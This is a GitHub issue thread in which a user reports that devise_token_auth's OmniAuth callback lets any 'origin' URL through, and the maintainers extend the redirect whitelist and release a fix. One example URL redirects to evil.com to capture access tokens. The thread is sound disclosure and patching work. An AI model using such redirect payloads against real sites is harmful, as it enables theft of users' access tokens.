"Covert Redirect" Vulnerability

[praihan]

@lynndylanhurley @booleanbetrayal

I can't seem to find a way to whitelist values for auth_origin_url used here.

Here's a quick description

Here it is in a nutshell: If your web site (example.com) implements an open redirect endpoint - that is, implements a URL that will redirect the browser to any URL given in the URL parameters - AND your redirect copies URL parameters from the incoming URL to the outgoing redirect URL, then it is possible for third parties to exploit this artifact of your web site in a wide variety of nasty ways.

Something like this is currently possible:
http://localhost:3000/auth/:provider/?origin=https://evil.com/capture-access-token

Other than writing my own controller, what is the solution?

[praihan]

I've used before_action for now, but I still don't think the default set up should have a vulnerability.

[booleanbetrayal]

@prshreshtha - playing catch up. did you close this because you decided this was invalid?

[praihan]

No. But you can avoid it by having your own controller. By default, this is still an issue. I think at the very least, the docs should mention it. Personally, I think whitelisting should be in the configuration.

I'm not sure why I had closed the issue. It was probably an error on my part, sorry.

[lynndylanhurley]

Does the redirect_whitelist configuration setting address this issue?

https://github.com/lynndylanhurley/devise_token_auth#configuration-cont

[praihan]

OmniauthCallbacksController doesn't seem to use it like RegistrationsController or PasswordsController. Perhaps changing that is all that is needed. OmniauthTest doesn't have a test case for this either like the other controllers, which makes me think that not using the whitelist might have been intended. Thoughts?

[lynndylanhurley]

@prshreshtha - does #699 resolve the issue?

[praihan]

👍

[lynndylanhurley]

@prshreshtha - thanks for bringing this up.

@booleanbetrayal - we may want to cut a release to patch this vulnerability. what do you think?

[booleanbetrayal]

sounds good ... just merged the fix

[booleanbetrayal]

@lynndylanhurley / @prshreshtha - just built and pushed v0.1.39

[lynndylanhurley]

Thanks @booleanbetrayal!!